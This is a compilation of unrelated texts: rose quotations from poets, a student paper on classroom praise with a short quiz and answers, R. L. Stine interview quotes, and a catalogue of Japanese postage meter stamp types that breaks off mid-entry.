rose in sheaves, Now, rose by rose, I strip the leaves. Robert Browning, One Way of Love. Loveliest of lovely things are they On earth that soonest pass away. The rose that lives its little hour Is prized beyond the sculptured flower. William Cullen Bryant, A Scene on the Banks of the Hudson. I'll pu' the budding rose, when Phœbus peeps in view, For its like a baumy kiss o'er her sweet bonnie mou'!. Robert Burns, The Posie. Yon rose-buds in the morning dew, How pure amang the leaves sae green! Robert Burns, To Chloris. When love came first to earth, the Spring Spread rose-beds to receive him. Thomas Campbell, Song. When Love Came First to Earth. Roses were sette of swete savour, With many roses that thei bere. Geoffrey Chaucer, The Romaunt of the Rose. Je ne suis pas la rose, mais j'ai vécu pres d'elle. I am not the rose, but I have lived near the rose. Attributed to H. B. Constant by A. Hayward in Introduction to Letters of Mrs. Piozzi. Saadi, the Persian poet, represents a lump of clay with perfume still clinging to it from the petals fallen from the rose-trees. In his Gulistan (Rose Garden). Till the rose's lips grow pale With her sighs. Rose Terry Cooke, Rêve Du Midi. I wish I might a rose-bud grow And thou wouldst cull me from the bower, To place me on that breast of snow Where I should bloom a wintry flower. Dionysius. O beautiful, royal Rose, O Rose, so fair and sweet! Queen of the garden art thou, And I—the Clay at thy feet! * * * * Yet, O thou beautiful Rose! Queen rose, so fair and sweet, What were lover or crown to thee Without the Clay at thy feet? Julia C. R. Dorr, The Clay to the Rose. Oh, raise your deep-fringed lids that close To wrap you in some sweet dream's thrall; I am the spectre of the rose You wore but last night at the ball. Gautier, Spectre of the Rose (from the French). See Werner's Readings No. 8. In Heaven's happy bowers There blossom two flowers, One with fiery glow And one as white as snow; While lo! before them stands, With pale and trembling hands, A spirit who must choose One, and one refuse. R. W. Gilder, The White and Red Rose. Pflücke Rosen, weil sie blühn, Morgen ist nicht heut! Keine Stunde lass entfliehn. Morgen ist nicht heut. Gather roses while they bloom, To-morrow is yet far away. Moments lost have no room In to-morrow or to-day. Gleim, Benutzung der Zeit. It is written on the rose In its glory's full array: Read what those buds disclose— "Passing away." Felicia Hemans, Passing Away. Sweet rose, whose hue, angry and brave, Bids the rash gazer wipe his eye, Thy root is even in the grave, And thou must die. George Herbert, Vertue, Stanza 2. Roses at first were white, 'Till they co'd not agree, Whether my Sappho's breast Or they more white sho'd be. Robert Herrick, Hesperides. Found in Dodd's Epigrammatists. But ne'er the rose without the thorn. Robert Herrick, The Rose. He came and took me by the hand, Up to a red rose tree, He kept His meaning to Himself, But gave a rose to me. I did not pray Him to lay bare The mystery to me, Enough the rose was Heaven to smell, And His own face to see. Ralph Hodgson, The Mystery. It was not in the winter Our loving lot was cast: It was the time of roses We pluck'd them as we pass'd. Thomas Hood, Ballad, It was not in the Winter. Poor Peggy hawks nosegays from street to street Till—think of that who find life so sweet!— She hates the smell of roses. Thomas Hood, Miss Kilmansegg. And the guelder rose In a great stillness dropped, and ever dropped, Her wealth about her feet. Jean Ingelow, Laurance, Part III. The roses that in yonder hedge appear Outdo our garden-buds which bloom within; But since the hand may pluck them every day, Unmarked they bud, bloom, drop, and drift away. Jean Ingelow, The Four Bridges, Stanza 61. The vermeil rose had blown In frightful scarlet, and its thorns outgrown Like spiked aloe. John Keats, Endymion (1818), Book I, line 694. But the rose leaves herself upon the brier, For winds to kiss and grateful bees to feed. John Keats, On Fame. Woo on, with odour wooing me, Faint rose with fading core; For God's rose-thought, that blooms in thee, Will bloom forevermore. George MacDonald, Songs of the Summer Night, Part III. Mais elle était du monde, où les plus belles choses Ont le pire destin; Et Rose, elle a vécu ce que vivent les roses, L'espace d'un matin. But she bloomed on earth, where the most beautiful things have the saddest destiny; And Rose, she lived as live the roses, for the space of a morning. François de Malherbe. In a letter of condolence to M. Du Perrier on the loss of his daughter. And I will make thee beds of roses, And a thousand fragrant posies. Christopher Marlowe, The Passionate Shepherd to his Love, Stanza 3. Said to be written by Shakespeare and Marlowe. Rose of the desert! thou art to me An emblem of stainless purity,— Of those who, keeping their garments white, Walk on through life with steps aright. David Macbeth Moir, The White Rose. While rose-buds scarcely show'd their hue, But coyly linger'd on the thorn. James Montgomery, The Adventures of a Star. Two roses on one slender spray In sweet communion grew, Together hailed the morning ray And drank the evening dew. James Montgomery, The Roses. Sometimes, when on the Alpine rose The golden sunset leaves its ray, So like a gem the flow'ret glows, We thither bend our headlong way; And though we find no treasure there, We bless the rose that shines so fair. Thomas Moore, The Crystal-Hunters. Long, long be my heart with such memories fill'd! Like the vase, in which roses have once been distill'd— You may break, you may shatter the vase if you will, But the scent of the roses will hang round it still. Thomas Moore, Farewell! but Whenever you Welcome the Hour. There's a bower of roses by Bendemeer's stream, And the nightingale sings round it all the day long, In the time of my childhood 'twas like a sweet dream, To sit in the roses and hear the bird's song. Thomas Moore, Lalla Rookh (1817), The Veiled Prophet of Khorassan. No flower of her kindred, No rosebud is nigh, To reflect back her blushes, Or give sigh for sigh. Thomas Moore, Last Rose of Summer. 'Tis the last rose of summer, Left blooming alone. Thomas Moore, Last Rose of Summer. What would the rose with all her pride be worth, Were there no sun to call her brightness forth? Thomas Moore, Love Alone. Why do we shed the rose's bloom Upon the cold, insensate tomb? Can flowery breeze or odor's breath, Affect the slumbering chill of death? Thomas Moore, Odes of Anacreon. Ode XXXII. Rose! thou art the sweetest flower, That ever drank the amber shower; Rose! thou art the fondest child Of dimpled Spring, the wood-nymph wild. Thomas Moore, Odes of Anacreon. Ode XLIV. Oh! there is naught in nature bright Whose roses do not shed their light; When morning paints the Orient skies, Her fingers burn with roseate dyes. Thomas Moore, Odes of Anacreon. Ode LV. The rose distils a healing balm The beating pulse of pain to calm. Thomas Moore, Odes of Anacreon. Ode LV. Rose of the Desert! thus should woman be Shining uncourted, lone and safe, like thee. Thomas Moore, Rose of the Desert. Rose of the Garden! such is woman's lot— Worshipp'd while blooming—when she fades, forgot. Thomas Moore, Rose of the Desert. Each Morn a thousand Roses brings, you say; Yes, but where leaves the Rose of Yesterday? Omar Khayyam, Rubaiyat, FitzGerald's translation. O rose! the sweetest blossom, Of spring the fairest flower, O rose! the joy of heaven. The god of love, with roses His yellow locks adorning, Dances with the hours and graces. J. G. Percival—Anacreontic, Stanza 2. The sweetest flower that blows, I give you as we part For you it is a rose For me it is my heart. Frederic Peterson—At Parting. There was never a daughter of Eve but once, ere the tale of her years be done, Shall know the scent of the Eden Rose, but once beneath the sun; Though the years may bring her joy or pain, fame, sorrow or sacrifice, The hour that brought her the scent of the Rose, she lived it in Paradise. Susan K. Phillips, The Eden Rose. Quoted by Kipling in Mrs. Hauksbee Sits it Out. Published anonymously in St. Louis Globe Democrat, July 13, 1878. There is no gathering the rose without being pricked by the thorns. Pilpay, The Two Travellers, Chapter II. Fable VI. Let opening roses knotted oaks adorn, And liquid amber drop from every thorn. Alexander Pope, Autumn, line 36. And when the parent-rose decays and dies, With a resembling face the daughter-buds arise. Matthew Prior, Celia to Damon. We bring roses, beautiful fresh roses, Dewy as the morning and coloured like the dawn; Little tents of odour, where the bee reposes, Swooning in sweetness of the bed he dreams upon. Thomas Buchanan Read, The New Pastoral, Book VII, line 51. Die Rose blüht nicht ohne Dornen. Ja: wenn nur aber nicht die Dornen die Rose überlebten. The rose does not bloom without thorns. True: but would that the thorns did not outlive the rose. Jean Paul Richter, Titan, Zykel 105. The rose saith in the dewy morn, I am most fair; Yet all my loveliness is born Upon a thorn. Christina G. Rossetti, Consider the Lilies of the Field. I watched a rose-bud very long Brought on by dew and sun and shower, Waiting to see the perfect flower: Then when I thought it should be strong It opened at the matin hour And fell at even-song. Christina G. Rossetti, Symbols. The rose is fairest when 'tis budding new, And hope is brightest when it dawns from fears; The rose is sweetest wash'd with morning dew, And love is loveliest when embalm'd in tears. Walter Scott, Lady of the Lake (1810), Canto IV. From off this brier pluck a white rose with me. William Shakespeare, Henry VI, Part I (c. 1588-90), Act II, scene 4, line 30. Then will I raise aloft the milk-white rose, With whose sweet smell the air shall be perfumed. William Shakespeare, Henry VI, Part II (c. 1590-91), Act I, scene 1, line 254. There will we make our peds of roses, And a thousand fragrant posies. William Shakespeare, The Merry Wives of Windsor (c. 1597; published 1602), Act III, scene 1, line 19. Song. Hoary-headed frosts Fall in the fresh lap of the crimson rose. William Shakespeare, Midsummer Night's Dream, Act II, scene 1, line 107. The red rose on triumphant brier. William Shakespeare, Midsummer Night's Dream, Act III, scene 1, line 96. And the rose like a nymph to the bath addrest, Which unveiled the depth of her glowing breast, Till, fold after fold, to the fainting air, The soul of her beauty and love lay bare. Percy Bysshe Shelley, The Sensitive Plant, Part I. Should this fair rose offend thy sight, Placed in thy bosom bare, 'Twill blush to find itself less white, And turn Lancastrian there. James Somerville, The White Rose. Other versions of traditional origin. I am the one rich thing that morn Leaves for the ardent noon to win; Grasp me not, I have a thorn, But bend and take my being in. Harriet Prescott Spofford, Flower Songs, The Rose. It was nothing but a rose I gave her,— Nothing but a rose Any wind might rob of half its savor, Any wind that blows. * * * * * Withered, faded, pressed between these pages, Crumpled, fold on fold,— Once it lay upon her breast, and ages Cannot make it old! Harriet Prescott Spofford, A Sigh. The year of the rose is brief; From the first blade blown to the sheaf, From the thin green leaf to the gold, It has time to be sweet and grow old, To triumph and leave not a leaf. Algernon Charles Swinburne, The Year of the Rose. And half in shade and half in sun; The Rose sat in her bower, With a passionate thrill in her crimson heart. Bayard Taylor, Poems of the Orient, The Poet in the East, Stanza 5. And is there any moral shut Within the bosom of the rose? Alfred Tennyson, The Day-Dream, Moral. The fairest things have fleetest end: Their scent survives their close, But the rose's scent is bitterness To him that loved the rose! Francis Thompson, Daisy, Stanza 10. Go, lovely Rose! Tell her that wastes her time and me That now she knows. When I resemble her to thee, How sweet and fair she seems to be. Edmund Waller, The Rose. How fair is the Rose! what a beautiful flower. The glory of April and May! But the leaves are beginning to fade in an hour, And they wither and die in a day. Yet the Rose has one powerful virtue to boast, Above all the flowers of the field; When its leaves are all dead, and fine colours are lost, Still how sweet a perfume it will yield! Isaac Watts, The Rose. The rosebuds lay their crimson lips together. Amelia B. Welby, Hopeless Love, Stanza 5. Let us crown ourselves with rosebuds before they be withered. Wisdom of Solomon, II. 8. The budding rose above the rose full blown. William Wordsworth, The Prelude, Book XI. Far off, most secret, and inviolate Rose, Enfold me in my hour of hours; where those Who sought thee in the Holy Sepulchre Or in the wine vat, dwell beyond the stir And tumult of defeated dreams. William Butler Yeats, The Secret Rose. I saw the sweetest flower wild nature yields, A fresh-blown musk-rose; 'twas the first that threw Its sweets upon the summer. John Keats, To a Friend who Sent some Roses. And mid-May's eldest child, The coming musk-rose, full of dewy wine, The murmurous haunt of flies on summer eyes. John Keats, Ode to a Nightingale. The fresh eglantine exhaled a breath, Those odours were of power to raise from death. John Dryden, The Flower and the Leaf, line 96. Wild-rose, Sweetbriar, Eglantine, All these pretty names are mine, And scent in every leaf is mine, And a leaf for all is mine, And the scent—Oh, that's divine! Happy-sweet and pungent fine, Pure as dew, and pick'd as wine. Leigh Hunt, Songs and Chorus of the Flowers, Sweetbriar. Rain-scented eglantine Gave temperate sweets to that well-wooing sun. John Keats, Endymion (1818), Book I, line 100. Its sides I'll plant with dew-sweet eglantine. John Keats, Endymion (1818), Book IV, line 700. As through the verdant maze Of sweetbriar hedges I pursue my walk; Or taste the smell of dairy. James Thomson, The Seasons, Spring (1728), line 105. The garden rose may richly bloom In cultured soil and genial air, To cloud the light of Fashion's room Or droop in Beauty's midnight hair, In lonelier grace, to sun and dew The sweetbrier on the hillside shows Its single leaf and fainter hue, Untrained and wildly free, yet still a sister rose! John Greenleaf Whittier, The Bride of Pennacook, Part III. The Daughter. A wild rose roofs the ruined shed, And that and summer well agree. Samuel Taylor Coleridge, A Day Dream. A brier rose, whose buds Yield fragrant harvest for the honey bee. L. E. Landon, The Oak, line 17. A waft from the roadside bank Tells where the wild rose nods. Bayard Taylor, The Guests of Night. Wikipedia has an article about: Rose Look up rose in Wiktionary, the free dictionary Wikimedia Commons has media related to: Rosa
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The Praise Debate By Catherine Byrd Learning Targets Students should be able to: a) Differentiate between intelligence and effort praise and identify which one is more effective in a classroom setting b) Distinguish how much praise in a classroom is beneficial to a studentsâ future c) Give reasons and examples as to why praising a student is important and the emotional positives it has on students Introduction Most parents and educators would say that praise is important to a childâs development of self esteem; so one would think that the more praise, the better. Right? Not always. Some educators and psychologists believe that praise is good but if done too often then it loses its effect and molds children that are constantly seeking approval (Delision, 2000). The question now raised is how much praise is too much and what exactly should be praised? As humans, we prefer to be praised for our correct efforts than be criticized for what we did wrong. We are a society that thrives on individual recognition. As teachers, we need to criticize and praise our students but need to explore and research how to praise students and determine what is beneficial and what is damaging. Honest Feedback Marshall Duke, a clinical psychologist, says that a childâs strengths need to be identified and developed which will lead to more self confidence rather than continuous praise. Feedback to children that is honest is more beneficial than an empty praise. Being honest with children while they are young will help them survive in the real world because if not then they will not know how to deal with adversity as they become adults (Delision, 2000). Many people believe that praise leads to higher self esteem and that high self esteem results in happier children that perform better in school but there is no research to support that idea. Duke told Education World âSelf esteem does not make them happier, achieve more, or become more capableâ (Delision, 2000). Intelligence Praise or Effort Praise A study was done by Melissa Kamins, Claudia Mueller and Carol Dweck to determine whether intelligence praise or effort praise is more effective on children. Intelligence praise is when a teacher emphasizes to a student that they did well because they are smart and effort praise is when the teacher emphasizes the studentâs success because of their hard work. The results of the study showed that students who were praised on their intelligence had a goal to look smart even if it meant sacrificing learning. Students that were praised based on their efforts had a goal to learn new things even if it seems challenging or risky (Aronson, 2002). The results of this study show that not all praise is beneficial to students and that if praise is going to be used by teachers then it should be practiced in a manner that has positive learning outcomes. Research has found that giving too much praise to students can lessen self-motivation and lead to children becoming dependent on rewards for their work. One study found that when teachers praised preschoolers for doing an activity that they were already excited to do, the children lost some motivation to do the activity. âChildren have an intrinsic desire to learn. Ineffective praise can stifle studentsâ natural curiosity and desire to learn by focusing their attention on extrinsic rewards rather than the intrinsic rewards that come from the task itselfâ (Hitz, 1989). Like a Cheerleader "The praise keeps them goingâ¦â (Lori Palmer, 2000) âPraise is defined as verbal comments indicating approval, commendation or achievementâ (Madsen, Becker & Thomas 1968). This is essentially the most important tool a teacher can have. When students are praised constantly, they know they are being praised for trying. Lori Palmer believes that âall children benefit from steady praiseâ (Delision, 2000). Praise is a type of positive reinforcement and is used to motivate students to behave and achieve positively. Praising also helps teachers manage individuals or groups (Hitz, 1989). Praise is important to a childâs confidence in class and fosters independence in the classroom. Students see praise as a way of teachers expressing their appreciation. Praise should be used on a daily basis and can be an effective tool for change as well (CTER, 2007). Effective Praise Praise is very effective in the classroom. Praise gives students information on how valuable their accomplishments are. Students who are praised often, better appreciate their thinking and problem solving skills and know that the teacher expects the same effort in the future. Not only is praise a teacherâs way of expressing appreciation but it encourages students to appreciate their own work giving them a sense of self gratification (Kizlik, 2009). Conclusion In my opinion, I believe that praise should be used in the classroom but used in a way that is effective to the student. My research has found that there is no evidence that praise should not be used at all in the classroom. The argument is rather what type of praise is positive and how often praise should be given. I agree that effort praise should be used in the classroom. A good balance of praise and criticism should be given. There are no perfect people in this world and until then everyone including young and old students should be given honest feedback even if it is not what they want to here. Although I believe honest feedback should be given, adults and educators [alike] need to give a solution as to how a student or child can improve. References Aronson, Joshua. (2002). Messages that motivate: how praise molds studentsâ beliefs, motivation, and performance [Electronic version]. Improving Academic Achievement, 37-56. CTER. (2007). Retrieved February 7, 2009 from the CTER Wiki: http://www.wik.ed.uiuc.edu/index.php/Praise. Delision, Ellen. (2000). Can adults praise children too much? Retrieved February 7, 2009 from http://www.education-world.com/a_curr302.shtml. Hitz, R., Driscoll, A. (1989). Praise in the classroom. Retrieved February 7, 2009 from http://ericdigests.org/pre-9213/praise.htm. Kizlik, Bob. (2009). Education information for new and future teachers. Retrieved February 7, 2009 from http://www.adprima.com/managing.htm. Madsen, C., Becker W., Thomas D. (1968). Rules, praise, and ignoring: elements of elementary classroom control. Journal of Applied Behavior Analysis, 1, 5. Questions 1. Which is the correct definition for intelligence praise? a. when a teacher emphasizes to a student that they did well because they are smart b. when a teacher emphasizes the studentâs success because of their hard work c. when a teacher emphasizes the studentâs success because of teamwork d. when a teacher emphasizes to a student that they did well because they were intelligent enough to ask the teacher for help 2. Which is the correct definition for effort praise? a. when a teacher emphasizes to a student that they did well because they were intelligent enough to ask the teacher for help b. when a teacher emphasizes to a student that they did well because they are smart c. when a teacher emphasizes the studentâs success because of teamwork d. when a teacher emphasizes the studentâs success because of their hard work 3. Michelle turns in an assignment and her teacher tells her, âYour research was excellent, Good work.â The following week Michelle works really hard on her next research paper to impress her teacher as she had in the past. What type of praise did Michelleâs teacher give her? a. effective praise b. encouragement praise c. dependence praise d. motivation praise 4. Alex is in the third grade. Alex turned in his journal entry to his teacher and she gave him a tootsie roll and said, âThere were no grammar errors in your journal entry today, you did great!â The next day, Alex rushes to complete his journal entry hoping he earns a piece of candy. Which answer BEST describes the type of behavior Alex is demonstrating? a. Alex has an intrinsic desire to do his best work b. Alex has become dependent on a reward for his work c. Alex has developed a âget it over withâ attitude towards his work d. Alex wants to prove to his teacher how smart he is by finishing his work first. Answers 1. A when a teacher emphasizes to a student that they did well because they are smart 2. D when a teacher emphasizes the studentâs success because of their hard work 3. A effective praise 4. B Alex has become dependent on a reward for his work.
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Robert Lawrence Stine (born October 8, 1943), known as R. L. Stine and "Jovial Bob Stine", is an American writer, known primarily for writing young adult horror fiction. I wrote 87 Goosebumps books. That's a lot of books for a human, isn't it? None of us expected what happened with Goosebumps. We started it in 1992, and by 1994, I was turning out a Goosebumps a month, and it was doing okay for a while. And then it just took off like nothing we'd ever seen. It took off all over the world – not through advertising, hype, or promotions – but just kids telling kids. There's some kind of secret kids network out there. Just kids telling kids about it, and this thing grew everywhere. It was in 28 languages. At one point, after a couple years, we were selling 4 million Goosebumps books a month. Reading Rockets interview Yes, I was a funny guy for a long time. When I started out, I just wanted to write humor. I wrote humor for kids. My very first book was called How to be Funny. It was about how to get big laughs at the dinner table and how to get laughs in school. Parents hated this book. I wrote joke books, like A Hundred and One Monster Jokes, and other joke books for years. I did maybe a hundred of them. I had a great time, and I did this humor magazine called Bananas for ten years. It was sort of Mad Magazine, but it was all in color, and it was great. That was all I ever wanted to do. When that ended, I figured I would just coast for the rest of my career. That was it. I'd already done what I wanted to do. I had no idea what was coming up. Reading Rockets interview Wikipedia has an article about: R. L. Stine R L Stine Quote
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The first meters came into use in 1950 and were used only in post offices. They were inscribed “JAPANESE POSTAGE”. Since then, all stamps have Japanese inscription 日 本 郵 便 (Japanese Post) in one form or another in the frank and a country name in English in the town mark as follows: 1952 –1965 “JAPAN” 1965 –1977 “JAPAN” (private use) / “NIPPON” (Post Office use) 1977 onward “NIPPON” The stamps are grouped as follows: A - frameless horizontal or square design with Mount Fuji motif, circular town mark B - small horizontal, straight-line rectangle C - square frank, dove with spread wings at bottom D - upright frank, single-line frame and ornamental corners E - nearly square frank, double wavy border at top, Mount Fuji motif with curled corners at bottom F - frameless horizontal design with Mount Fuji motif, straight-line town mark G - frameless horizontal design with flying dove over globe motif H - small, upright frank with notched, single-line frame I - nearly square frank with simulated-perforation border J - nearly square frank, unframed, with country inscription vertical at left PO - designs used only in post offices PV - designs used only in self-service stamp vending machines Three vertical lines at right of stamp: In 1965 all new and replacement private use meter dies were required to include three bold vertical lines along the right edge. This made the stamps compatible with new automatic mail sorting equipment. Fielded meters in use at the time were exempt. In later years, some Post Office and Self-Service meter stamps also included the three lines. Year of the Emperor: Stamps are found occasionally with the year of the reigning monarch rather than Western year. For specialized information about the meter stamps of Japan, see Handbook of Japanese Meter Stamps, compiled by the Meter Stamp Unit of the Japan Philatelic Society, Inc., 2000. AA1. Pitney Bowes “R” (MV), 1952. “日 本 郵 便 ” vertical at right next to two vertical lines at far right. Value figures in small square box. Small date figures with either Roman month or as 1.12. M# with “P.B.” prefix at bottom center. A. “JAPAN” in TM B. “NIPPON” in TM [Scarce] TM: SC V/F: ≋00 000 AA2. Pitney Bowes “5000” (MV), 1962. [Scarce] Similar to Type AA1 but wider value box. M# with “P.B.” prefix at bottom center. A. “JAPAN” in TM B. “NIPPON” in TM C. As A, but with three vertical lines at far right, M# 300 only TM: SC V/F: ≋000 0000 a. As A, with “通 用 当 日 限 り“ replacing the meter number. The characters translate to “Valid on date of issue only”. AA3. Pitney Bowes "5000" (MV), 1965. As Type AA2 but the value box is wider still. M# with "P.B." prefix at bottom center. A. “JAPAN” in TM, no vertical lines at right. M# 309 and 310 only. [Scarce] B. “NIPPON” in TM, three vertical lines at right TM: SC V/F: ≋0000 000000 AA4. Pitney Bowes-GB “5000” (MV), 1967. Similar to Type AA2 but town mark much larger, and date figures taller and closer together. A. “JAPAN” in TM. Horizontal dash at top left of TM 6 mm long B. “JAPAN” in TM. Horizontal dash at top left of TM 10 mm long C. “NIPPON” in TM. Horizontal dash at top left of TM 6 mm long D. “NIPPON” in TM, three vertical lines at right E. "NIPPON" in TM. Horizontal dash at top left of TM 10 mm long TM: SC V/F: ≋000 a. With “通 用 当 日 限 り” replacing the meter number. The characters translate to “Valid on date of issue only” AA5. Pitney Bowes-GB “5000” (MV), 1969. Similar to Type AA4 but the value box has no right side, and the frank has three vertical lines at far right. A. “JAPAN” in TM B. “NIPPON” in TM TM: SC V/F: ≋000 a. Value box with lines at top and left only, no bottom line AA6. Pitney Bowes-GB “Simplex” (LV-21), 1963. [Scarce] Rectangular frank wider than tall, with two vertical lines at far right. Distance between TM and frank 21-22 mm. TM: DC with “JAPAN” at the bottom Values: 1 to 21? AA7. Pitney Bowes-GB “Automax” (MV), 1963. [Scarce] Similar to Type AA6 but frank is square, and distance between TM and frank is shorter, 13 mm. TM: DC with “JAPAN” at bottom V/F: =000 NOTE: Shown is a specimen impression with unengraved elements. AA8. Pitney Bowes-GB “6300” (MV), 1973. Value box raised with date and value figures on same level. M# at bottom below value figures. Three vertical lines at far right. A. “NIPPON” in TM. M# with “P.B.” prefix B. “JAPAN” in TM. M# with “Y” prefix. C. “NIPPON” in TM. M# with “Y” prefix. TM: SC V/F: ≋000 AA9. Pitney Bowes-GB “6900” (MV), 1986. Large frank. 日 本 郵 便 horizontal above and “NIPPON” below large square value box. TM: SC V/F: ≋000 0000 AA10. Pitney Bowes “A/B900” (MV), 1991. Similar to Type AA9 but shorter. Value box is wider than tall. TM: SC V/F: ≋0000 AA11. Pitney Bowes “Paragon” (MV), 1993. Similar to Types AA9 and 10 but value figures not boxed. Prefix “PB” above M#. TM: SC V/F: ≋0000 AB1. Satas “Federal” and “Rotary” (MV), 1960. [Scarce] Without inner box around value figures. A. TM with “JAPAN” at bottom. M# with “SF”, “SR” or “SRT” prefix B. TM with “NIPPON” at bottom. M# with “SR” prefix TM: SC V/F: ★00 ★000 AC1. Postalia “WK4” (MV), 1982. A. M# with “PF” prefix B. M# with “WK” prefix TM: SC with “NIPPON” at bottom V/F: 0000 AC2. Francotyp-Postalia “NEF300” (MV). Similar to Type AC1 but 日 本 郵 便 above and “NIPPON” below value box. Flying dove added below Mount Fuji. Value box is larger. M# with “PF” prefix. TM: SC V/F: 0000 B1. Francotyp “CC”, “CCM” (MV), 1952. Japanese Post inscription across top, M# with “F” prefix at lower left, F#, F##, F1###, F6###. Spacing between TM and frank 6 mm. A. Without vertical lines at right. “JAPAN” in TM B. Without vertical lines at right. “NIPPON” in TM [Scarce] C. Three vertical lines at right. “JAPAN” in TM D. Three vertical lines at right. “NIPPON” in TM [Scarce] TM: SC V/F: 000 0.000 ◆0.000 a. Spacing between TM and frank 10 mm. B2. Francotyp “A9000” (MV), 1963. [Scarce] Very similar to Type B1 but the date is much wider. M# with “F” prefix, F9###. A. Without vertical lines at right, “JAPAN” in TM B. Three vertical lines at right, “JAPAN” in TM C. Three vertical lines at right, “NIPPON” in TM TM: SC V/F: 0.000 B3. Francotyp “CM10000” (MV), 1973. Very similar to Type B1 but value figures narrower. Three vertical lines at right. M# with “F” prefix, F10###. A. “JAPAN” in TM B. “NIPPON” in TM TM: SC V/F: 0.000 C1. Hasler “F88” (MV), 1953. Frank frame with notches in the sides. M# with circled “H” prefix below frank. M# with or without dashes at sides. TM: DC with “JAPAN” V/F: 0,000 00,000 a. Spacing between TM and frank wider (16 mm) b. Neither “JAPAN” nor “NIPPON” in the TM. M# H466 (error) D1. Universal “MultiValue” (MV), 1953. [Scarce] Frank with geometric ornaments in the corners. M# with “U” prefix below frank. TM: DC with “JAPAN” V/F: 0000 a. Neither “JAPAN” nor “NIPPON” in the TM. M# U12 (error) E1. Postalia “D2/D3” (MV), 1954. [Scarce] Frank 28-29 mm tall. Without vertical lines at right. M# with “PF” prefix below frank. TM: DC with “JAPAN” V/F: 000 0000 E2. Postalia “D2/D3” (MV), 1967. [Scarce] As Type E1 but smaller, frank 26 mm tall. M# with “PF” prefix below frank. A. “JAPAN” B. “NIPPON” TM: DC with “JAPAN” V/F: 000 0000 E3. Postalia “D2/D3” (MV), 1969. As Types E1 and E2 but smaller still, frank 23-24 mm tall. With three vertical lines at right. M# with “PF” prefix below frank. A. “JAPAN” B. “NIPPON” TM: DC with “JAPAN” V/F: 000 0000 FA1. Hasler “F88” (MV), 1957. [Scarce] Country inscription with chrysanthemum in center. All lines at right of Mount Fuji straight. Value box relatively tall. No lines at right of value box. Country name “JAPAN” V/F: 0,000 00,000 ✳00,000 a. Value figures large: 0,000 FA2. Hasler “F88” (MV), 1966. Similar to Type FA1 but smaller, especially the value box. Central three lines at right of Mount Fuji with curve. Country name “JAPAN”. A. Without vertical lines at right of value box [Scarce] B. One vertical line at right of value box (shown) C. Three vertical lines at right of value box [Scarce] V/F: 0,000 FA3. Hasler “F88” (MV), 1969. Similar to Type FA2 with curve in lines at right of Mount Fuji, but without chrysanthemum in center of country inscription. With three vertical lines at right of value box. M# with circled “H” prefix. A. “JAPAN” B. “NIPPON” V/F: 0,000 a. Value figures large: 0000 FA4. Hasler “F88” and “F66” (MV), 1972. Country inscription without chrysanthemum. Lines at right of Mount Fuji straight. Value box with thick frame, smaller than Type FA1 but larger than Types FA2 and 3. M# with circled “H” prefix. Value figures small or large. A. “JAPAN” B. “NIPPON” V/F: 0,000 00000 00,000 FB1. Frama “M/E” (MV), 1969. Country inscription vertical at right with three vertical lines at far right. Five chrysanthemums above the date box. M# below “JAPAN” with prefix “FR” below the date box. A. “JAPAN” [Scarce] B. “NIPPON” [Very scarce] V/F: 0000 FC1. Frama “M/E” (MV), 1976. Three vertical lines at right. M# with “FR” prefix below date box. A. “JAPAN” B. “NIPPON” V/F: 0000 FD1. Pitney Bowes “PostPerfect” (digital), 1995. 日 本 郵 便 above “NIPPON” at top above value figures. Under Mount Fuji are one large flower at center and two small ones at left and one at right. The triad (≋) at left in the value figures is a horizontal wave. M# with “PB68” prefix at bottom. TM: straight-line at left V/F: ≋0000 FD2. Very similar to Type FD1 but without horizontal lines above and below town/date field. Impression made up of fine horizontal lines usually most noticeable in the value figures. The triad (≋) at left in the value figures slants downward. M# with “PB80” prefix at bottom. TM: straight-line at left V/F: ≋0000 FD3. Pitney Bowes “DM300 (Spark)” (digital). Very similar to Type FD1 but the large flower under Mount Fuji has two smaller flowers on both the left and right sides, and "NIPPON" is larger. Frank is 20mm tall. M# with “PB26” prefix at bottom. TM: straight-line at left V/F: ≋0000 FD4. As Type FD1 with one small flower at right of the larger flower under Mount Fuji. As Type FD3 with large "NIPPON" but the frank is 23.5 mm tall. M# at bottom, seen with prefix “PB11”, "PB13" and "PB88". Other prefixes may exist. TM: straight-line at right V/F: 00000 G1. Hasler “Mailmaster” (MV), 1979. Three vertical lines at right. Inscribed “NIPPON”. M# with “AA”, “AE”, “AL”, “AM”, “AS”, “HA”, “HE”, “HM” or “HS” prefix. TM: SC V/F: 0,000 00,000 a. With unengraved meter number "HM■■" G2. Neopost (digital), 2012. Similar to type G1 but with several differences including: Smaller country characters and value figures "NIPPON" not flush with bottom of the three bars at right Value figures are raised in relation to the date figures. M# with “NA” prefix. TM: SC V/F: 00, 000 G3. Similar to type G2 but with straight line town mark between bars. M# with “ND” prefix. TM: SL V/F: 00,000 H1. Satas “Federal” (MV), 1960. Country inscription at top. M# with “F” prefix below “SATAS” at bottom. TM: SC with “JAPAN” [Scarce] V/F: 000 ★00 H2. Satas “Rotary” (MV), 1960. [Scarce] Similar to Type H1 but M# with “R” or “R.T” prefix. TM: SC with “JAPAN” V/F: ★000 H3. Satas “Guichet” (MV), 1963. [Scarce] Similar to Types H1 and 2 but M# with “S.G” prefix. A. “JAPAN” (Post Office stamp) B. “NIPPON” TM: SC V/F: ★000 H4. Satas “Vinette” (MV), 1963. Similar to Type H3 but M# with “SV” prefix. A. “JAPAN” (Post Office stamp) [Scarce] B. “NIPPON” TM: SC V/F: ★000 H5. Francotyp-Postalia “T-1000” (digital), 1994. Tall, narrow frank with “NIPPON” above M# at bottom. With three vertical bars at right. M# with “PT 0” prefix. TM: SC V/F: 0000 H6. Francotyp-Postalia “T-1000 TSS” (digital), 1998. Frank very similar to Type H5 but now quite as narrow, and the value figures are squarish. With three vertical bars at right. M# with “PT 1” prefix. TM: SC V/F: 0000 I1. Frama “M/E” (MV), 1961. [Scarce] Country inscription at top with circled “〒” in center. Seven small chrysanthemums connected by lines across bottom. M# with “FR” prefix below frank. TM: BIC with “JAPAN” V/F: 000 0000 I2. Frama “M/E” (MV), 1973. [Scarce] Frank open at right with three vertical lines. Three chrysanthemums with connecting lines at bottom right. Country inscription without symbol at center. A. “JAPAN” B. “NIPPON” TM: DC with “JAPAN” V/F: 0000 J1. Neopost “Electronic” (MV), 1988. Small Mount Fuji and waves at top. Three vertical lines at right. “NIPPON” above M# with “RA M” or “RA S” prefix at bottom. TM: SC V/F: ≋000 Most of these stamps have variable colors, e.g. deep maroon, dark to brick red, and rose to pink. Some have point-of-sale data applied in a shade different from the rest of the design. PO1. National Cash Register “1900” (MV), 1950. Frameless design date 